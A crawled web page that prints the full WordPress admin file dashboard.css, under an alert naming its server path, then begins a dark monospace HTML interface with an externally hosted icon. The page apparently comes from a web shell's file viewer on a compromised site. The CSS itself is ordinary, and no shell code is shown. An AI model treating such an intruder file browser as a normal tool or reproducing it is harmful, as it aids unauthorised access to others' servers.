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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-admin/css/dashboard.css</strong></div><pre class='file-content'>#wpbody-content #dashboard-widgets.columns-1 .postbox-container {
	width: 100%;
}

#wpbody-content #dashboard-widgets.columns-2 .postbox-container {
	width: 49.5%;
}

#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,
#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,
#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 {
	float: right;
	width: 50.5%;
}

#wpbody-content #dashboard-widgets.columns-3 .postbox-container {
	width: 33.5%;
}

#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 {
	width: 33%;
}

#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,
#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 {
	float: right;
}

#wpbody-content #dashboard-widgets.columns-4 .postbox-container {
	width: 25%;
}

#dashboard-widgets .postbox-container {
	width: 25%;
}

#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container {
	border: none !important;
}

#dashboard-widgets-wrap {
	overflow: hidden;
	margin: 0 -8px;
}

#dashboard-widgets .postbox .inside {
	margin-bottom: 0;
}

#dashboard-widgets .meta-box-sortables {
	display: flow-root; /* avoid margin collapsing between parent and first/last child elements */
	/* Required min-height to make the jQuery UI Sortable drop zone work. */
	min-height: 100px;
	margin: 0 8px 20px;
}

#dashboard-widgets .postbox-container .empty-container {
	outline: 3px dashed #c3c4c7;
	height: 250px;
}

/* Only highlight drop zones when dragging and only in the 2 columns layout. */
.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables {
	outline: 3px dashed #646970;
	/* Prevent margin on the child from collapsing with margin on the parent. */
	display: flow-root;
}

#dashboard-widgets .postbox-container .empty-container:after {
	content: attr(data-emptystring);
	margin: auto;
	position: absolute;
	top: 50%;
	left: 0;
	right: 0;
	transform: translateY( -50% );
	padding: 0 2em;
	text-align: center;
	color: #646970;
	font-size: 16px;
	line-height: 1.5;
	display: none;
}


/* @todo: this was originally in this section, but likely belongs elsewhere */
#the-comment-list td.comment p.comment-author {
	margin-top: 0;
	margin-left: 0;
}

#the-comment-list p.comment-author img {
	float: left;
	margin-right: 8px;
}

#the-comment-list p.comment-author strong a {
	border: none;
}

#the-comment-list td {
	vertical-align: top;
}

#the-comment-list td.comment {
	word-wrap: break-word;
}

#the-comment-list td.comment img {
	max-width: 100%;
}

/* Screen meta exception for when the &quot;Dashboard&quot; heading is missing or located below the Welcome Panel. */
.index-php #screen-meta-links {
	margin: 0 20px 8px 0;
}

/* Welcome Panel */
.welcome-panel {
	position: relative;
	overflow: auto;
	margin: 16px 0;
	background-color: #151515;
	font-size: 14px;
	line-height: 1.3;
	clear: both;
}

.welcome-panel h2 {
	margin: 0;
	font-size: 48px;
	font-weight: 600;
	line-height: 1.25;
}

.welcome-panel h3 {
	margin: 0;
	font-size: 20px;
	font-weight: 400;
	line-height: 1.4;
}

.welcome-panel p {
	font-size: inherit;
	line-height: inherit;
}

.welcome-panel-header {
	position: relative;
	color: #fff;
}

.welcome-panel-header-image {
	position: absolute !important;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	z-index: 0 !important;
	overflow: hidden;
}

.welcome-panel-header-image svg {
	display: block;
	margin: auto;
	width: 100%;
	height: 100%;
}

.rtl .welcome-panel-header-image svg {
	transform: scaleX(-1);
}

.welcome-panel-header * {
	color: inherit;
	position: relative;
	z-index: 1;
}

.welcome-panel-header a:focus,
.welcome-panel-header a:hover {
	color: inherit;
	text-decoration: none;
}

.welcome-panel-header a:focus,
.welcome-panel .welcome-panel-close:focus {
	outline-color: currentColor;
	outline-offset: 1px;
	box-shadow: none;
}

.welcome-panel-header p {
	margin: 0.5em 0 0;
	font-size: 20px;
	line-height: 1.4;
}

.welcome-panel .welcome-panel-close {
	position: absolute;
	top: 10px;
	right: 10px;
	padding: 10px 15px 10px 24px;
	font-size: 13px;
	line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */
	text-decoration: none;
	z-index: 1; /* Raise above the version image. */
}

.welcome-panel .welcome-panel-close:before {
	position: absolute;
	top: 8px;
	left: 0;
	transition: all .1s ease-in-out;
	content: '\f335';
	font-size: 24px;
	color: #fff;
}

.welcome-panel .welcome-panel-close {
	color: #fff;
}

.welcome-panel .welcome-panel-close:hover,
.welcome-panel .welcome-panel-close:focus,
.welcome-panel .welcome-panel-close:hover::before,
.welcome-panel .welcome-panel-close:focus::before {
	color: #fff972;
}

/* @deprecated 5.9.0 -- Button removed from panel. */
.wp-core-ui .welcome-panel .button.button-hero {
	margin: 15px 13px 3px 0;
	padding: 12px 36px;
	height: auto;
	line-height: 1.4285714;
	white-space: normal;
}

.welcome-panel-content {
	min-height: 400px;
	display: flex;
	flex-direction: column;
	justify-content: space-between;
}

.welcome-panel-header {
	box-sizing: border-box;
	margin-left: auto;
	margin-right: auto;
	max-width: 1500px;
	width: 100%;
	padding: 48px 0 80px 48px;
}

.welcome-panel .welcome-panel-column-container {
	box-sizing: border-box;
	width: 100%;
	clear: both;
	display: grid;
	z-index: 1;
	padding: 48px;
	grid-template-columns: repeat(3, 1fr);
	gap: 32px;
	align-self: flex-end;
	background: #fff;
}

[class*=&quot;welcome-panel-icon&quot;] {
	height: 60px;
	width: 60px;
	background-position: center;
	background-size: 24px 24px;
	background-repeat: no-repeat;
	border-radius: 100%;
}

.welcome-panel-column &gt; svg {
	margin-top: 4px;
}

.welcome-panel-column {
	display: grid;
	grid-template-columns: min-content 1fr;
	gap: 24px;
}

.welcome-panel-icon-pages {
	background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E&quot;);
}

.welcome-panel-icon-layout {
	background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E&quot;);
}

.welcome-panel-icon-styles {
	background-image: url(&quot;data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E&quot;);
}

/* @deprecated 5.9.0 -- Section removed from welcome panel. */
.welcome-panel .welcome-widgets-menus {
	line-height: 1.14285714;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel .welcome-panel-column ul {
	margin: 0.8em 1em 1em 0;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel li {
	font-size: 14px;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel li a {
	text-decoration: none;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel .welcome-panel-column li {
	line-height: 1.14285714;
	list-style-type: none;
	padding: 0 0 8px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-icon {
	background: transparent !important;
}

/* Welcome Panel and Right Now common Icons style */

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-icon:before,
#dashboard_right_now li a:before,
#dashboard_right_now li span:before,
#dashboard_right_now .search-engines-info:before {
	color: #646970;
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0 10px 0 0;
	position: relative;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	vertical-align: top;
}

/* Welcome Panel specific Icons styles */

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-write-blog:before,
.welcome-panel .welcome-edit-page:before {
	content: &quot;\f119&quot;;
	top: -3px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-add-page:before {
	content: &quot;\f132&quot;;
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-setup-home:before {
	content: &quot;\f102&quot;;
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-view-site:before {
	content: &quot;\f115&quot;;
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-widgets-menus:before {
	content: &quot;\f116&quot;;
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-widgets:before {
	content: &quot;\f538&quot;;
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-menus:before {
	content: &quot;\f163&quot;;
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-comments:before {
	content: &quot;\f117&quot;;
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-learn-more:before {
	content: &quot;\f118&quot;;
	top: -1px;
}

/* Right Now specific Icons styles */

#dashboard_right_now .search-engines-info:before,
#dashboard_right_now li a:before,
#dashboard_right_now li &gt; span:before { /* get only the first level span to exclude screen-reader-text in mu-storage */
	content: &quot;\f159&quot;; /* generic icon for items added by CPTs ? */
	padding: 0 5px 0 0;
}

#dashboard_right_now .page-count a:before,
#dashboard_right_now .page-count span:before {
	content: &quot;\f105&quot;;
}

#dashboard_right_now .post-count a:before,
#dashboard_right_now .post-count span:before {
	content: &quot;\f109&quot;;
}

#dashboard_right_now .comment-count a:before {
	content: &quot;\f101&quot;;
}

#dashboard_right_now .comment-mod-count a:before {
	content: &quot;\f125&quot;;
}

#dashboard_right_now .storage-count a:before {
	content: &quot;\f104&quot;;
}

#dashboard_right_now .storage-count.warning a:before {
	content: &quot;\f153&quot;;
}

#dashboard_right_now .search-engines-info:before {
	content: &quot;\f348&quot;;
}

/* Dashboard WordPress events */

.community-events-errors {
	margin: 0;
}

.community-events-loading {
	padding: 10px 12px 8px;
}

.community-events {
	margin-bottom: 6px;
	padding: 0 12px;
}

.community-events .spinner {
	float: none;
	margin: 5px 2px 0;
	vertical-align: top;
}

.community-events-errors[aria-hidden=&quot;true&quot;],
.community-events-errors [aria-hidden=&quot;true&quot;],
.community-events-loading[aria-hidden=&quot;true&quot;],
.community-events[aria-hidden=&quot;true&quot;],
.community-events form[aria-hidden=&quot;true&quot;] {
	display: none;
}

.community-events .activity-block:first-child,
.community-events h2 {
	padding-top: 12px;
	padding-bottom: 10px;
}

.community-events-form {
	margin: 15px 0 5px;
}

.community-events-form .regular-text {
	width: 40%;
	height: 29px;
	margin: 0;
	vertical-align: top;
}

.community-events li.event-none {
	border-left: 4px solid #72aee6;
}

#dashboard-widgets .community-events li.event-none a {
	text-decoration: underline;
}

.community-events-form label {
	display: inline-block;
	vertical-align: top;
	line-height: 2.15384615;
	height: 28px;
}

.community-events .activity-block &gt; p {
	margin-bottom: 0;
	display: inline;
}

.community-events-toggle-location {
	vertical-align: middle;
}

#community-events-submit {
	margin-left: 3px;
	margin-right: 3px;
}

/* Needs higher specificity than #dashboard-widgets .button-link */
#dashboard-widgets .community-events-cancel.button-link {
	vertical-align: top;
	/* Same properties as the submit button for cross-browsers alignment. */
	line-height: 2;
	height: 28px;
	text-decoration: underline;
}

.community-events ul {
	background-color: #f6f7f7;
	padding-left: 0;
	padding-right: 0;
	padding-bottom: 0;
}

.community-events li {
	margin: 0;
	padding: 8px 12px;
	color: #2c3338;
}
.community-events li:first-child {
	border-top: 1px solid #f0f0f1;
}

.community-events li ~ li {
	border-top: 1px solid #f0f0f1;
}

.community-events .activity-block.last {
	border-bottom: 1px solid #f0f0f1;
	padding-top: 0;
	margin-top: -1px;
}

.community-events .event-info {
	display: block;
}

.community-events .ce-separator::before {
	content: &quot;\2022&quot;;
}

.event-icon {
	height: 18px;
	padding-right: 10px;
	width: 18px;
	display: none; /* Hide on smaller screens */
}

.event-icon:before {
	color: #646970;
	font-size: 18px;
}
.event-meetup .event-icon:before {
	content: &quot;\f484&quot;;
}
.event-wordcamp .event-icon:before {
	content: &quot;\f486&quot;;
}

.community-events .event-title {
	font-weight: 600;
	display: block;
}

.community-events .event-date,
.community-events .event-time {
	display: block;
}

.community-events-footer {
	margin-top: 0;
	margin-bottom: 0;
	padding: 12px;
	border-top: 1px solid #f0f0f1;
	color: #dcdcde;
}

/* Safari 10 + VoiceOver specific: without this, the hidden text gets read out before the link. */
.community-events-footer .screen-reader-text {
	height: inherit;
	white-space: nowrap;
}

/* Dashboard WordPress news */

#dashboard_primary .inside {
	margin: 0;
	padding: 0;
}

#dashboard_primary .widget-loading {
	padding: 12px 12px 0;
	margin-bottom: 1em !important; /* Needs to override `.postbox .inside &gt; p:last-child` in common.css */
}

/* Notice when JS is off. */
#dashboard_primary .inside .notice {
	margin: 0;
}

body #dashboard-widgets .postbox form .submit {
	margin: 0;
}

/* Used only for configurable widgets. */
.dashboard-widget-control-form p {
	margin-top: 0;
}

.rssSummary {
	color: #646970;
	margin-top: 4px;
}

#dashboard_primary .rss-widget {
	font-size: 13px;
	padding: 0 12px;
}

#dashboard_primary .rss-widget:last-child {
	border-bottom: none;
	padding-bottom: 8px;
}

#dashboard_primary .rss-widget a {
	font-weight: 400;
}

#dashboard_primary .rss-widget span,
#dashboard_primary .rss-widget span.rss-date {
	color: #646970;
}

#dashboard_primary .rss-widget span.rss-date {
	margin-left: 12px;
}

#dashboard_primary .rss-widget ul li {
	padding: 4px 0;
	margin: 0;
}

/* Dashboard right now */

#dashboard_right_now ul {
	margin: 0;
	/* contain floats but don't use overflow: hidden */
	display: inline-block;
	width: 100%;
}

#dashboard_right_now li {
	width: 50%;
	float: left;
	margin-bottom: 10px;
}

#dashboard_right_now .inside {
	padding: 0;
}

#dashboard_right_now .main {
	padding: 0 12px 11px;
}

#dashboard_right_now .main p {
	margin: 0;
}

#dashboard_right_now #wp-version-message .button {
	float: right;
	position: relative;
	top: -5px;
	margin-left: 5px;
}

#dashboard_right_now p.search-engines-info {
	margin: 1em 0;
}

.mu-storage {
	overflow: hidden;
}

#dashboard-widgets h3.mu-storage {
	margin: 0 0 10px;
	padding: 0;
	font-size: 14px;
	font-weight: 400;
}

#network_dashboard_right_now p input {
	margin: 2px 1px;
	vertical-align: middle;
}

/* Dashboard right now - Colors */

#dashboard_right_now .sub {
	color: #50575e;
	background: #f6f7f7;
	border-top: 1px solid #f0f0f1;
	padding: 10px 12px 6px;
}

#dashboard_right_now .sub h3 {
	color: #50575e;
}

#dashboard_right_now .sub p {
	margin: 0 0 1em;
}

#dashboard_right_now .warning a:before,
#dashboard_right_now .warning span:before {
	color: #d63638;
}

/* Dashboard Quick Draft */

#dashboard_quick_press .inside {
	margin: 0;
	padding: 0;
}

#dashboard_quick_press div.updated {
	margin-bottom: 10px;
	border: 1px solid #f0f0f1;
	border-width: 1px 1px 1px 0;
}

#dashboard_quick_press form {
	margin: 12px;
}

#dashboard_quick_press .drafts {
	padding: 10px 0 0;
}

/* Dashboard Quick Draft - Form styling */

#dashboard_quick_press label {
	display: inline-block;
	margin-bottom: 4px;
}

#dashboard_quick_press input,
#dashboard_quick_press textarea {
	box-sizing: border-box;
	margin: 0;
}

#dashboard-widgets .postbox form .submit {
	margin: -39px 0;
	float: right;
}

#description-wrap {
	margin-top: 12px;
}

#quick-press textarea#content {
	min-height: 90px;
	max-height: 1300px;
	margin: 0 0 8px;
	padding: 6px 7px;
	resize: none;
}

/* Dashboard Quick Draft - Drafts list */

.js #dashboard_quick_press .drafts {
	border-top: 1px solid #f0f0f1;
}

#dashboard_quick_press .drafts abbr {
	border: none;
}

#dashboard_quick_press .drafts .view-all {
	float: right;
	margin: 0 12px 0 0;
}

#dashboard_primary a.rsswidget {
	font-weight: 400;
}

#dashboard_quick_press .drafts ul {
	margin: 0 12px;
}

#dashboard_quick_press .drafts li {
	margin-bottom: 1em;
}
#dashboard_quick_press .drafts li time {
	color: #646970;
}

#dashboard_quick_press .drafts p {
	margin: 0;
	word-wrap: break-word;
}

#dashboard_quick_press .draft-title {
	word-wrap: break-word;
}

#dashboard_quick_press .draft-title a,
#dashboard_quick_press .draft-title time {
	margin: 0 5px 0 0;
}

/* Dashboard common styles */

#dashboard-widgets h4, /* Back-compat for pre-4.4 */
#dashboard-widgets h3,
#dashboard_quick_press .drafts h2 {
	margin: 0 12px 8px;
	padding: 0;
	font-size: 14px;
	font-weight: 400;
	color: #1d2327;
}

#dashboard_quick_press .drafts h2 {
	line-height: inherit;
}

#dashboard-widgets .inside h4, /* Back-compat for pre-4.4 */
#dashboard-widgets .inside h3 {
	margin-left: 0;
	margin-right: 0;
}

/* Dashboard activity widget */

#dashboard_activity .comment-meta span.approve:before {
	content: &quot;\f227&quot;;
	font: 20px/.5 dashicons;
	margin-left: 5px;
	vertical-align: middle;
	position: relative;
	top: -1px;
	margin-right: 2px;
}

#dashboard_activity .inside {
	margin: 0;
	padding-bottom: 0;
}

#dashboard_activity .no-activity {
	overflow: hidden;
	padding: 12px 0;
	text-align: center;
}

#dashboard_activity .no-activity p {
	color: #646970;
	font-size: 16px;
}

#dashboard_activity .subsubsub {
	float: none;
	border-top: 1px solid #f0f0f1;
	margin: 0 -12px;
	padding: 8px 12px 4px;
}

#dashboard_activity .subsubsub a .count,
#dashboard_activity .subsubsub a.current .count {
	color: #646970; /* white background on the dashboard but #f0f0f1 on list tables */
}

#future-posts ul,
#published-posts ul {
	margin: 8px -12px 0 -12px;
}

#future-posts li,
#published-posts li {
	display: grid;
	grid-template-columns: clamp(160px, calc(2vw + 140px), 200px) auto;
	column-gap: 10px;
	color: #646970;
	padding: 4px 12px;
}

#future-posts li:nth-child(odd),
#published-posts li:nth-child(odd) {
	background-color: #f6f7f7;
}

.activity-block {
	border-bottom: 1px solid #f0f0f1;
	margin: 0 -12px 6px -12px;
	padding: 8px 12px 4px;
}

.activity-block:last-child {
	border-bottom: none;
	margin-bottom: 0;
}

.activity-block .subsubsub li {
	color: #dcdcde;
}

/* Dashboard activity widget - Comments */
/* @todo: needs serious de-duplication */

#activity-widget #the-comment-list tr.undo,
#activity-widget #the-comment-list div.undo {
	background: none;
	padding: 6px 0;
	margin-left: 12px;
}

#activity-widget #the-comment-list .comment-item {
	background: #f6f7f7;
	padding: 12px;
	position: relative;
}

#activity-widget #the-comment-list .avatar {
	position: absolute;
	top: 12px;
}

#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar {
	padding-left: 63px;
}

#activity-widget #the-comment-list .dashboard-comment-wrap blockquote {
	margin: 1em 0;
}

#activity-widget #the-comment-list .comment-item p.row-actions {
	margin: 4px 0 0;
}

#activity-widget #the-comment-list .comment-item:first-child {
	border-top: 1px solid #f0f0f1;
}

#activity-widget #the-comment-list .unapproved {
	background-color: #fcf9e8;
}

#activity-widget #the-comment-list .unapproved:before {
	content: &quot;&quot;;
	display: block;
	position: absolute;
	left: 0;
	top: 0;
	bottom: 0;
	background: #d63638;
	width: 4px;
}

#activity-widget #the-comment-list .spam-undo-inside .avatar,
#activity-widget #the-comment-list .trash-undo-inside .avatar {
	position: relative;
	top: 0;
}

/* Browse happy box */

#dashboard-widgets #dashboard_browser_nag.postbox .inside {
	margin: 10px;
}

.postbox .button-link .edit-box {
	display: none;
}

.edit-box {
	opacity: 0;
}

.hndle:hover .edit-box,
.edit-box:focus {
	opacity: 1;
}

#dashboard-widgets form .input-text-wrap input {
	width: 100%;
}

#dashboard-widgets form .textarea-wrap textarea {
	width: 100%;
}

#dashboard-widgets .postbox form .submit {
	float: none;
	margin: .5em 0 0;
	padding: 0;
	border: none;
}

#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish {
	min-width: 0;
}

#dashboard-widgets li a,
#dashboard-widgets .button-link,
.community-events-footer a {
	text-decoration: none;
}

#dashboard-widgets h2 a {
	text-decoration: underline;
}

#dashboard-widgets .hndle .postbox-title-action {
	float: right;
	line-height: 1.2;
}

#dashboard_plugins h5 {
	font-size: 14px;
}

/* Recent Comments */

#latest-comments #the-comment-list {
	position: relative;
	margin: 0 -12px;
}

#activity-widget #the-comment-list .comment,
#activity-widget #the-comment-list .pingback {
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06);
}

#activity-widget .comments #the-comment-list .alt {
	background-color: transparent;
}

#activity-widget #latest-comments #the-comment-list .comment-item {
	/* the row-actions paragraph is output only for users with 'edit_comment' capabilities,
	   for other users this needs a min height equal to the gravatar image */
	min-height: 50px;
	margin: 0;
	padding: 12px;
}

#latest-comments #the-comment-list .pingback {
	padding-left: 12px !important;
}

#latest-comments #the-comment-list .comment-item:first-child {
	border-top: none;
}

#latest-comments #the-comment-list .comment-meta {
	line-height: 1.5;
	margin: 0;
	color: #646970;
}

#latest-comments #the-comment-list .comment-meta cite {
	font-style: normal;
	font-weight: 400;
}

#latest-comments #the-comment-list .comment-item blockquote,
#latest-comments #the-comment-list .comment-item blockquote p {
	margin: 0;
	padding: 0;
	display: inline;
}

#latest-comments #the-comment-list .comment-item p.row-actions {
	margin: 3px 0 0;
	padding: 0;
	font-size: 13px;
}

/* Feeds */
.rss-widget ul {
	margin: 0;
	padding: 0;
	list-style: none;
}

a.rsswidget {
	font-size: 13px;
	font-weight: 600;
	line-height: 1.4;
}

.rss-widget ul li {
	line-height: 1.5;
	margin-bottom: 12px;
}

.rss-widget span.rss-date {
	color: #646970;
	font-size: 13px;
	margin-left: 3px;
}

.rss-widget cite {
	display: block;
	text-align: right;
	margin: 0 0 1em;
	padding: 0;
}

.rss-widget cite:before {
	content: &quot;\2014&quot;;
}

.dashboard-comment-wrap {
	word-wrap: break-word;
}

/* Browser Nag */
#dashboard_browser_nag a.update-browser-link {
	font-size: 1.2em;
	font-weight: 600;
}

#dashboard_browser_nag a {
	text-decoration: underline;
}

#dashboard_browser_nag p.browser-update-nag.has-browser-icon {
	padding-right: 128px;
}

#dashboard_browser_nag .browser-icon {
	margin-top: -32px;
}

#dashboard_browser_nag.postbox {
	background-color: #b32d2e;
	background-image: none;
	border-color: #b32d2e;
	color: #fff;
	box-shadow: none;
}

#dashboard_browser_nag.postbox h2 {
	border-bottom-color: transparent;
	background: transparent none;
	color: #fff;
	box-shadow: none;
}

#dashboard_browser_nag a {
	color: #fff;
}

#dashboard_browser_nag.postbox .postbox-header {
	border-color: transparent;
}

#dashboard_browser_nag h2.hndle {
	border: none;
	font-weight: 600;
	font-size: 20px;
	padding-top: 10px;
}

.postbox#dashboard_browser_nag p a.dismiss {
	font-size: 14px;
}

.postbox#dashboard_browser_nag p,
.postbox#dashboard_browser_nag a,
.postbox#dashboard_browser_nag p.browser-update-nag {
	font-size: 16px;
}

/* PHP Nag */
#dashboard_php_nag .dashicons-warning {
	color: #dba617;
	padding-right: 6px;
}

#dashboard_php_nag.php-no-security-updates .dashicons-warning,
#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning {
	color: #d63638;
}

#dashboard_php_nag h2 {
	display: inline-block;
}

#dashboard_php_nag p {
	margin: 12px 0;
}

#dashboard_php_nag .button .dashicons-external {
	line-height: 25px;
}

.bigger-bolder-text {
	font-weight: 600;
	font-size: 14px;
}

/* =Media Queries
-------------------------------------------------------------- */

@media only screen and (min-width: 1600px) {
	.welcome-panel .welcome-panel-column-container {
		display: flex;
		justify-content: center;
	}

	.welcome-panel-column {
		width: 100%;
		max-width: 460px;
	}
}

/* one column on the dash */
@media only screen and (max-width: 799px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 100%;
	}

	#dashboard-widgets .meta-box-sortables {
		min-height: 0;
	}

	.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables {
		min-height: 100px;
	}

	#dashboard-widgets .meta-box-sortables.empty-container {
		margin-bottom: 0;
	}
}

/* two columns on the dash, but keep the setting if one is selected */
@media only screen and (min-width: 800px) and (max-width: 1499px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 49.5%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-2,
	#wpbody-content #dashboard-widgets #postbox-container-3,
	#wpbody-content #dashboard-widgets #postbox-container-4 {
		float: right;
		width: 50.5%;
	}

	#dashboard-widgets #postbox-container-3 .empty-container,
	#dashboard-widgets #postbox-container-4 .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	#dashboard-widgets #postbox-container-3 .empty-container:after,
	#dashboard-widgets #postbox-container-4 .empty-container:after {
		display: none;
	}

	#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container {
		width: 100%;
	}

	#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	/* show the radio buttons for column prefs only for one or two columns */
	.index-php .screen-layout,
	.index-php .columns-prefs {
		display: block;
	}

	.columns-prefs .columns-prefs-3,
	.columns-prefs .columns-prefs-4 {
		display: none;
	}

	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

/* three columns on the dash */
@media only screen and (min-width: 1500px) and (max-width: 1800px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 33.5%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-1 {
		width: 33%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-3,
	#wpbody-content #dashboard-widgets #postbox-container-4 {
		float: right;
	}

	#dashboard-widgets #postbox-container-4 .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	#dashboard-widgets #postbox-container-4 .empty-container:after {
		display: none;
	}

	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

/* Always show the &quot;Drag boxes here&quot; CSS generated content on large screens. */
@media only screen and (min-width: 1801px) {
	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

@media screen and (max-width: 870px) {
	/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
	.welcome-panel .welcome-panel-column li {
		display: inline-block;
		margin-right: 13px;
	}

	/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
	.welcome-panel .welcome-panel-column ul {
		margin: 0.4em 0 0;
	}

}

@media screen and (max-width: 1180px) and (min-width: 783px) {
	.welcome-panel-column {
		grid-template-columns: 1fr;
	}

	[class*=&quot;welcome-panel-icon&quot;],
	.welcome-panel-column &gt; svg {
		display: none;
	}
}

@media screen and (max-width: 782px) {
	.welcome-panel .welcome-panel-column-container {
		grid-template-columns: 1fr;
		box-sizing: border-box;
		padding: 32px;
		width: 100%;
	}

	.welcome-panel .welcome-panel-column-content {
		max-width: 520px;
	}

	/* Keep the close icon from overlapping the Welcome text. */
	.welcome-panel .welcome-panel-close {
		overflow: hidden;
		text-indent: 40px;
		white-space: nowrap;
		width: 20px;
		height: 20px;
		padding: 5px;
		top: 5px;
		right: 5px;
	}

	.welcome-panel .welcome-panel-close::before {
		top: 5px;
		left: -35px;
	}

	#dashboard-widgets h2 {
		padding: 12px;
	}

	#dashboard_recent_comments #the-comment-list .comment-item .avatar {
		height: 30px;
		width: 30px;
		margin: 4px 10px 5px 0;
	}

	.community-events-toggle-location {
		height: 38px;
		vertical-align: baseline;
	}

	.community-events-form .regular-text {
		height: 32px;
	}

	#community-events-submit {
		margin-bottom: 0;
		/* Override .wp-core-ui .button */
		vertical-align: top;
	}

	.community-events-form label,
	#dashboard-widgets .community-events-cancel.button-link {
		/* Same properties as the submit button for cross-browsers alignment. */
		font-size: 14px;
		line-height: normal;
		height: auto;
		padding: 6px 0;
		border: 1px solid transparent;
	}

	.community-events .spinner {
		margin-top: 7px;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	.welcome-panel-header {
		padding: 32px 32px 64px;
	}

	.welcome-panel-header-image {
		display: none;
	}
}

@media screen and (max-width: 480px) {
	.welcome-panel-column {
		gap: 16px;
	}
}

@media screen and (max-width: 360px) {
	.welcome-panel-column {
		grid-template-columns: 1fr;
	}

	[class*=&quot;welcome-panel-icon&quot;],
	.welcome-panel-column &gt; svg {
		display: none;
	}
}

@media screen and (min-width: 355px) {
	.community-events .event-info {
		display: table-row;
		float: left;
		max-width: 59%;
	}

	.event-icon,
	.event-icon[aria-hidden=&quot;true&quot;] {
		display: table-cell;
	}

	.event-info-inner {
		display: table-cell;
	}

	.community-events .event-date-time {
		float: right;
		max-width: 39%;
	}

	.community-events .event-date,
	.community-events .event-time {
		text-align: right;
	}
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
